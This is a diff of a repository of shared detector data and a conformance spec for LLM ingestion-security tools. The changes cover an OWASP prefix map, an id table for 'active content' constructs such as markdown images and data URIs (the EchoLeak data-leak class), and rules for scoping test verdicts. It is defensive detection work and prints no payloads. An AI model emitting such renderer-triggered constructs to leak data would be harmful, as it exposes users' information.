"retracted_2026-08-10": "This field also said: 'The Python guard's port carries the correct value but cites that file, so a consumer following its citation would find no answer.' RETRACTED - it is false, and it was never measured here. It restated an assertion received from llm-security (coord message 20260809T201048Z) as if it were a commons finding. Measured against the guard's own tree: severity.mjs has never appeared in src/llm_ingestion_guard/injection_lexicon.json at any point in that file's history (git log -S returns no commits), and at 0bf0729 - the commit conformance/manifest.json pins - the only tree-wide occurrence is docs/PLAN.md:114, which correctly attributes the report module to output.mjs + severity.mjs and says nothing about injection-family severity. The guard's only source statement for the lexicon is the note field at injection_lexicon.json:3, and it cites injection-patterns.mjs - the right file. Kept rather than deleted because this repository's stated reason for recording the original claim was that a wrong citation to a right value is the harder defect to notice, and that turned out to describe this record itself."
},
"count": 8,
"patterns": [

5
mapping/owasp-map.json
View file

@ -1,5 +1,5 @@
{
"version": "0.2.0",
"version": "0.2.1",
"id": "owasp-map",
"description": "Finding-id prefix to OWASP taxonomy codes, in four parallel maps. Every map is keyed by the same 16 scanner prefixes, so a finding carrying a prefix can be placed in whichever taxonomy a report is written against. An empty array means the seed implementation deliberately maps that prefix to nothing in that taxonomy - it is data, not a gap to fill.",
"$comment": "Extracted without behaviour change from llm-security/scanners/lib/severity.mjs (OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP). Seeded 2026-08-09 from an operator dump; re-verified the same day directly against the module file at commit b0de0ca on the public remote, which is why source_commit is now pinned and the dump-fidelity caveat is gone. The dump states that a fallback map inside one of llm-security's own agent definitions covers only part of the prefix set; that is known drift in the consumer and is explicitly NOT inherited here. The maps below are the complete 16-prefix set from severity.mjs.",
@ -20,7 +20,8 @@
"verified": "differentially, against the module file at b0de0ca - all four maps, key order, codes_used and unmapped_prefixes reproduced mechanically and compared, 2026-08-09",
"evidence_limits": [
"What each scanner prefix MEANS was not supplied. The prefixes are reproduced as opaque keys; no expansion of UNI, ENT, PRM and the rest is invented here.",
"The taxonomy_name strings are the identity of an external standard, not data read out of severity.mjs - the module names no edition anywhere. They were supplied by llm-security and, for the LLM/agentic/skills maps, cross-read against that repo's knowledge/ documents; only the MCP edition and status were additionally confirmed against the OWASP project page. A consumer that disagrees about which edition a code belongs to should raise it here rather than renumber locally."
"The taxonomy_name strings are the identity of an external standard, not data read out of severity.mjs - the module names no edition anywhere. They were supplied by llm-security and, for the LLM/agentic/skills maps, cross-read against that repo's knowledge/ documents; only the MCP edition and status were additionally confirmed against the OWASP project page. A consumer that disagrees about which edition a code belongs to should raise it here rather than renumber locally.",
"Whether each of the four maps has a production consumer in llm-security was not measured here. llm-security reports (repo-wide grep on their side, coord message 2026-08-10T12:38:19Z) that OWASP_MAP is read by running code only as a fallback when a finding lacks an owasp field, and that OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP and OWASP_MCP_MAP have no production consumer at all - only tests and golden artefacts reference them. If that holds, this file's top-level $comment 'Extracted without behaviour change' is vacuously true for three of the four maps: there is no running behaviour to have preserved, not a verified absence of change in one."
]
},
"prefixes": {

50
signatures/active-content.json
View file

@ -1,11 +1,59 @@
{
"version": "0.1.0",
"version": "0.2.0",
"id": "active-content",
"description": "Active content in persisted text: constructs that fetch, render or execute on their own when a renderer touches them. The EchoLeak class (CVE-2025-32711). Report-only data: no construct here is defined as something to remove.",
"owasp": "LLM05",
"detector": "active_content",
"label_format": "active:{class}",
"pattern_id_space": {
"$comment": "Stable, commons-owned identifier for each construct, so that a conformance fixture can name an active-content finding. Unlike the injection lexicon's id space, nothing was constructed here: `label_format` and the `constructs` keys were already extracted verbatim from the seed runtime, and their concatenation IS what that runtime emits. This block states an id space that the file already had implicitly rather than introducing one.",
"field": "\"active:\" + the key of the entry in `constructs`",
"ids": [
"active:autolink",
"active:data-uri",
"active:markdown-image",
"active:markdown-link",
"active:raw-html",
"active:reference-link"
],
"verified": {
"method": "The six `constructs` keys were compared to the six class strings the seed runtime passes to its finding emitter: the `_flag(cls, …)` call sites in active_content.py, whose emitter builds `label=f\"active:{cls}\"`. Set-equal, exact strings, no normalisation applied.",
"line_numbers": {
"$comment": "Given per commit rather than once, because the two differ and a reader checking against this file's provenance pin would otherwise land on the wrong lines. The 23-line insert between the two commits shifts everything below it by 21.",
"de09711": "_flag call sites at 337, 341, 345, 349, 363, 369; emitter at 309 — where the comparison was run",
"0bf0729": "the same six call sites at 316, 320, 324, 328, 342, 348; emitter at 288 — the commit `provenance` pins",
"symbols": "`_flag` and the `label=f\"active:{cls}\"` assignment inside it — stable across both, unlike the line numbers"
},
"date": "2026-08-10",
"at_commit": "de09711",
"at_commit_note": "Named because that is where the comparison was actually run, which is NOT the commit this file's provenance pins (0bf0729). active_content.py did change over that range: `git diff 0bf0729..de09711` adds 23 lines. Measured, not assumed - the change is a self-safety length cap (a new `max_scan_chars` parameter, and an `active:oversize-input` finding when the input exceeds it). It adds no construct, removes none, and leaves every `_flag` call site and every construct pattern untouched, so the six-way comparison above holds at both commits. The drift is recorded rather than smoothed over: a reader checking this file against 0bf0729 will see a different active_content.py and is entitled to know why that does not invalidate the check."
},
"not_every_active_label": {
"$comment": "The seed runtime emits at least one `active:`-prefixed label that is NOT in this id space, and a consumer that matches by prefix rather than by membership will mis-scope it.",
"known_example": "active:oversize-input",
"what_it_is": "A self-safety flag (OWASP LLM10) raised when the input exceeds the runtime's scan cap, announcing that the tail went unread. It reports the detector's own coverage, not a construct found in the text, which is why it is not a member of this table.",
"rule": "Membership in this id space is by presence in `ids`, never by the `active:` prefix. A finding carrying that prefix but absent from `ids` does not belong to this data file, and is therefore OUT of scope for a conformance case scoped here - see spec/conformance-corpus.md section 4.",
"introduced": "Between 0bf0729 and de09711; absent at the commit this file's provenance pins."
},
"stability": "An id is a stable identifier. Changing one is a BREAKING change for any consumer matching on it, and requires a major bump of this file.",
"single_runtime": {
"$comment": "This id space is ratified by ONE runtime, not two, and that is a weaker status than the injection lexicon's - stated here rather than left to be discovered by a consumer who assumes the two files carry equal weight.",
"implemented_by": [
"llm_ingestion_guard"
],
"not_implemented_by": [
"llm_security"
],
"absence_evidence": "Measured in llm-security at b0de0ca, not assumed: a case-insensitive tree-wide search for an active-content detector, class table or emitted `active:` label returns no implementation - only prose in `knowledge/` and an entropy-scanner test that mentions the markdown-image construct. `git log -S 'active_content'` and `git log -S 'active:markdown'` over `--all` return zero commits, so the table was never present and later removed either.",
"not_a_coverage_claim": "That runtime having no active-content TABLE is not the same as it being blind to these constructs. Its entropy scanner reaches markdown-image URLs from a different angle (rule E18, host- and query-aware). What is absent is this table, which is all `not_implemented_by` asserts.",
"conformance_consequence": "Under spec/conformance-corpus.md section 1.1, a runtime that does not declare this file reports cases scoped to it as `not-applicable` - neither pass nor error."
},
"aliases": {
"$comment": "No `aliases` object is carried per construct, and the omission is deliberate rather than pending. The lexicon needs aliases because two runtimes name the same pattern differently; here the sole implementing runtime's emitted label IS the id, so an alias would be a copy of the key. A second runtime adopting this table registers its alias then - see the lexicon's aliases block for the shape."
}
},
"$comment": "Extracted verbatim, without behaviour change, from llm-ingestion-pipeline-security v0.3.4 (commit 0bf0729, 2026-08-03): src/llm_ingestion_guard/active_content.py (pattern table, pass order, URL-shape analysis, defang) and src/llm_ingestion_guard/calibration.py (per-construct severities and opacity floors). That module documents itself as the canonical home of this table with the Node port sharing its severities, which is why the guard is the seed source here rather than llm-security.",
"provenance": {

73
spec/conformance-corpus.md
View file

@ -19,6 +19,41 @@ engine rejects the pattern behind it — a silently skipped case is an invisible
negative, which is the failure mode this corpus exists to catch. A case that cannot be run
MUST be reported as an error, not as a pass.
### 1.1 Declared tables and `not-applicable`
The runtimes that share this core do not implement the same set of data files, and some
never will: a table can be meaningful in an output gate and meaningless in the surface next
to it. §1 as stated would make every such case a permanent failure, which reports an
architectural difference as a defect and tells a reader nothing.
A runtime claiming conformance therefore MUST declare **the set of commons data files it
implements**, and MUST publish that set alongside its conformance result. A case whose
`scope` (§4) names a data file outside the declared set MUST be reported as
**`not-applicable`** — a third verdict beside pass and fail, and a different thing from the
error of §1. §1's error means *this runtime tried and could not*; `not-applicable` means
*this question was never addressed to this runtime*.
A `not-applicable` case MUST still be enumerated in the result. It MUST NOT be counted as a
pass, and MUST NOT be silently dropped from the denominator: `76/83 passed` and
`76 passed, 7 not-applicable` describe different runtimes, and only the second one can be
checked.
Two constraints keep the verdict from becoming an exit:
- A runtime MUST NOT withdraw a table from its declared set in order to convert failing
cases into `not-applicable` ones. The declaration describes what the runtime implements,
not what it would prefer to be asked. Narrowing it is a visible change to a published
claim, and it MUST be reported as such rather than made quietly between runs.
- `not-applicable` attaches to a **table**, never to a case. A runtime that declares a table
MUST run every case scoped to it, including the ones it fails. Per-case opt-out is exactly
the silent skip §1 forbids.
**What the verdict does not say.** `not-applicable` records that a runtime does not implement
a named commons table. It is not a statement that the runtime is blind to the phenomenon
behind it — a runtime may well detect the same construct through some other mechanism that
this corpus does not constrain, and reading the verdict as a coverage gap would assert
something nobody measured. See §8.
## 2. `input.txt` is bytes, not text
`input.txt` holds the input **verbatim**, UTF-8 encoded. A runtime MUST read it as bytes
@ -115,10 +150,27 @@ So a runtime MUST NOT raise a lexicon finding this case does not list, and MUST
one it does. Whether the same runtime also flags the input as active content, as a carrier,
or as anything else is **not** this case's business.
**"Belongs to" means published in that file, never "shares its prefix."** A runtime MUST
decide membership by looking the id up in the scoped data file, and MUST NOT infer it from
the id's leading segment. The two are not the same set, and the difference is not
hypothetical: one seeding runtime emits `active:oversize-input`, a self-safety flag about its
own scan cap, which carries the `active:` prefix but is no construct in
[`signatures/active-content.json`](../signatures/active-content.json) and is therefore out of
scope for a case scoped there. A prefix-matching implementation would pull it into the
comparison and fail a case over a finding the corpus makes no claim about.
The scoping is what makes the exactness safe. The two seeding runtimes do not implement the
same set of tables — one has no active-content table at all — so a whole-report comparison
would fail for reasons that have nothing to do with the pattern under test. Scoping the
comparison to one published table asks a question both can answer.
comparison to one published table asks a question about that table alone.
Through version 0.1.1 this paragraph ended "…asks a question both can answer", which held
only while every case was scoped to the one table both runtimes implement. It stopped being
true the moment a case was scoped to `signatures/active-content.json`, which only one of them
has. Scope narrows *what* is compared; it does not guarantee that every runtime is a valid
addressee of the comparison. That second question is answered by the declared table set in
§1.1, and a case scoped outside a runtime's declared set is `not-applicable` there rather
than failed.
The exactness is what makes the corpus worth running. A corpus that only checks that the
expected finding is *present* is passed by a runtime that flags everything.
@ -152,6 +204,19 @@ this repository, so the id space cannot reach the filesystem unchanged. `__` doe
anywhere in the ratified id space, so the transform is one-to-one — verified collision-free
across all cases rather than assumed.
The transform carries a consequence that is easy to miss: **a case id is derived from a
pattern id alone, so the corpus holds at most one case per `pattern_id` in single-finding
scopes.** There is nowhere in the name to put a second one. That is a real constraint, not a
formality — a source runtime's own test matrix may well drive two payloads at the same
pattern, as one of the seeding runtimes does for `active:markdown-image`. When it does, the
two payloads MUST be compared *within the case's scope* before a second case is minted: if
their in-scope finding sets are equal, the second case cannot fail in any way the first does
not, and its distinguishing signal lies outside the scope where this corpus makes no claim.
Such a payload MUST NOT be given a discriminated case id; the derivation rule is the
contract, and a suffix would break the reverse transform. It SHOULD instead be recorded as
a named omission in `conformance/manifest.json`, so the drop is visible rather than
inferred from a count.
**A case id is a stable identifier. Changing one is a BREAKING change** and requires a major
bump of the corpus version, exactly like changing a pattern id. Consumers name cases in
their own test suites; a renamed case is a silently disappeared test.
@ -176,3 +241,9 @@ one — it is why each case records how it was produced.
Nor is the corpus a coverage claim. It covers the pattern tables named in
`conformance/manifest.json` under `scope_covered`, and the tables under `scope_planned` are
named there precisely so that their absence is visible rather than inferred.
And a result is only readable next to the declared table set of §1.1. A pass count on its
own does not say which questions were asked: a runtime that implements one table and one
that implements four can print the same number. The declared set is what turns the number
back into a claim — which is also why a `not-applicable` verdict proves nothing in either
direction about the runtime's actual detection. It says the corpus did not ask.